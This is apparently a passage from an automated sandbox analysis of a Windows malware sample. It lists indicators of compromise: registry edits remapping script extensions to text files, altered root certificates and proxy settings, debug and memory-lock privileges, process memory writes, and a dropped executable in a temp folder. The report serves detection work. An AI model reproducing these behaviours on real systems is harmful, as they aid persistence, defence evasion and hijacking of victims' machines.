\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0045000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9e-d0-9d-8d-75-c2\WpadDecisionTime = 206a7a0c0cb7d901 igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E635CDDF-7276-49E4-AE1E-FD8B1606E8B0}\WpadDecisionTime = 6023b2440cb7d901 igfkfmr.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vtdgmbhnr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E635CDDF-7276-49E4-AE1E-FD8B1606E8B0} igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vtdgmbhnr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs igfkfmr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vtdgmbhnr.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vtdgmbhnr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 igfkfmr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs igfkfmr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vtdgmbhnr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs igfkfmr.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9e-d0-9d-8d-75-c2\WpadDecisionReason = "1" igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vtdgmbhnr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed igfkfmr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vtdgmbhnr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9e-d0-9d-8d-75-c2\WpadDetectedUrl igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates igfkfmr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs igfkfmr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates igfkfmr.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" igfkfmr.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" igfkfmr.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 igfkfmr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 igfkfmr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 igfkfmr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 igfkfmr.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2404 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 3096 igfkfmr.exe 1208 igfkfmr.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 2476 3b8ab5e2026396exeexe_JC.exe -
Suspicious use of AdjustPrivilegeToken 21 IoCs
description pid Process Token: SeDebugPrivilege 2476 3b8ab5e2026396exeexe_JC.exe Token: SeDebugPrivilege 2808 igfkfmr.exe Token: SeDebugPrivilege 2916 igfkfmr.exe Token: SeDebugPrivilege 2608 vfshost.exe Token: SeAuditPrivilege 1988 svchost.exe Token: SeDebugPrivilege 2436 vtdgmbhnr.exe Token: SeShutdownPrivilege 2436 vtdgmbhnr.exe Token: SeLockMemoryPrivilege 2132 hgetmv.exe Token: SeLockMemoryPrivilege 2132 hgetmv.exe Token: SeDebugPrivilege 876 vtdgmbhnr.exe Token: SeShutdownPrivilege 876 vtdgmbhnr.exe Token: SeDebugPrivilege 1580 vtdgmbhnr.exe Token: SeShutdownPrivilege 1580 vtdgmbhnr.exe Token: SeDebugPrivilege 884 vtdgmbhnr.exe Token: SeShutdownPrivilege 884 vtdgmbhnr.exe Token: SeDebugPrivilege 3536 vtdgmbhnr.exe Token: SeShutdownPrivilege 3536 vtdgmbhnr.exe Token: SeDebugPrivilege 2348 vtdgmbhnr.exe Token: SeShutdownPrivilege 2348 vtdgmbhnr.exe Token: SeDebugPrivilege 3980 vtdgmbhnr.exe Token: SeShutdownPrivilege 3980 vtdgmbhnr.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2476 3b8ab5e2026396exeexe_JC.exe 2476 3b8ab5e2026396exeexe_JC.exe 2808 igfkfmr.exe 2808 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2120 xohudmc.exe 1432 dqljao.exe 3096 igfkfmr.exe 3096 igfkfmr.exe 1208 igfkfmr.exe 1208 igfkfmr.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2476 wrote to memory of 1976 2476 3b8ab5e2026396exeexe_JC.exe 28 PID 2476 wrote to memory of 1976 2476 3b8ab5e2026396exeexe_JC.exe 28 PID 2476 wrote to memory of 1976 2476 3b8ab5e2026396exeexe_JC.exe 28 PID 2476 wrote to memory of 1976 2476 3b8ab5e2026396exeexe_JC.exe 28 PID 1976 wrote to memory of 2404 1976 cmd.exe 30 PID 1976 wrote to memory of 2404 1976 cmd.exe 30 PID 1976 wrote to memory of 2404 1976 cmd.exe 30 PID 1976 wrote to memory of 2404 1976 cmd.exe 30 PID 1976 wrote to memory of 2808 1976 cmd.exe 31 PID 1976 wrote to memory of 2808 1976 cmd.exe 31 PID 1976 wrote to memory of 2808 1976 cmd.exe 31 PID 1976 wrote to memory of 2808 1976 cmd.exe 31 PID 2916 wrote to memory of 2824 2916 igfkfmr.exe 33 PID 2916 wrote to memory of 2824 2916 igfkfmr.exe 33 PID 2916 wrote to memory of 2824 2916 igfkfmr.exe 33 PID 2916 wrote to memory of 2824 2916 igfkfmr.exe 33 PID 2824 wrote to memory of 2564 2824 cmd.exe 35 PID 2824 wrote to memory of 2564 2824 cmd.exe 35 PID 2824 wrote to memory of 2564 2824 cmd.exe 35 PID 2824 wrote to memory of 2564 2824 cmd.exe 35 PID 2824 wrote to memory of 2244 2824 cmd.exe 36 PID 2824 wrote to memory of 2244 2824 cmd.exe 36 PID 2824 wrote to memory of 2244 2824 cmd.exe 36 PID 2824 wrote to memory of 2244 2824 cmd.exe 36 PID 2824 wrote to memory of 2732 2824 cmd.exe 37 PID 2824 wrote to memory of 2732 2824 cmd.exe 37 PID 2824 wrote to memory of 2732 2824 cmd.exe 37 PID 2824 wrote to memory of 2732 2824 cmd.exe 37 PID 2824 wrote to memory of 2904 2824 cmd.exe 38 PID 2824 wrote to memory of 2904 2824 cmd.exe 38 PID 2824 wrote to memory of 2904 2824 cmd.exe 38 PID 2824 wrote to memory of 2904 2824 cmd.exe 38 PID 2824 wrote to memory of 2868 2824 cmd.exe 39 PID 2824 wrote to memory of 2868 2824 cmd.exe 39 PID 2824 wrote to memory of 2868 2824 cmd.exe 39 PID 2824 wrote to memory of 2868 2824 cmd.exe 39 PID 2824 wrote to memory of 3052 2824 cmd.exe 40 PID 2824 wrote to memory of 3052 2824 cmd.exe 40 PID 2824 wrote to memory of 3052 2824 cmd.exe 40 PID 2824 wrote to memory of 3052 2824 cmd.exe 40 PID 2916 wrote to memory of 1216 2916 igfkfmr.exe 41 PID 2916 wrote to memory of 1216 2916 igfkfmr.exe 41 PID 2916 wrote to memory of 1216 2916 igfkfmr.exe 41 PID 2916 wrote to memory of 1216 2916 igfkfmr.exe 41 PID 2916 wrote to memory of 2712 2916 igfkfmr.exe 43 PID 2916 wrote to memory of 2712 2916 igfkfmr.exe 43 PID 2916 wrote to memory of 2712 2916 igfkfmr.exe 43 PID 2916 wrote to memory of 2712 2916 igfkfmr.exe 43 PID 2916 wrote to memory of 1648 2916 igfkfmr.exe 45 PID 2916 wrote to memory of 1648 2916 igfkfmr.exe 45 PID 2916 wrote to memory of 1648 2916 igfkfmr.exe 45 PID 2916 wrote to memory of 1648 2916 igfkfmr.exe 45 PID 2916 wrote to memory of 632 2916 igfkfmr.exe 49 PID 2916 wrote to memory of 632 2916 igfkfmr.exe 49 PID 2916 wrote to memory of 632 2916 igfkfmr.exe 49 PID 2916 wrote to memory of 632 2916 igfkfmr.exe 49 PID 632 wrote to memory of 1672 632 cmd.exe 51 PID 632 wrote to memory of 1672 632 cmd.exe 51 PID 632 wrote to memory of 1672 632 cmd.exe 51 PID 632 wrote to memory of 1672 632 cmd.exe 51 PID 632 wrote to memory of 1672 632 cmd.exe 51 PID 632 wrote to memory of 1672 632 cmd.exe 51 PID 632 wrote to memory of 1672 632 cmd.exe 51 PID 1672 wrote to memory of 1860 1672 wpcap.exe 52
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:304
-
C:\Windows\TEMP\vaahgegrn\hgetmv.exe"C:\Windows\TEMP\vaahgegrn\hgetmv.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2132
-
-
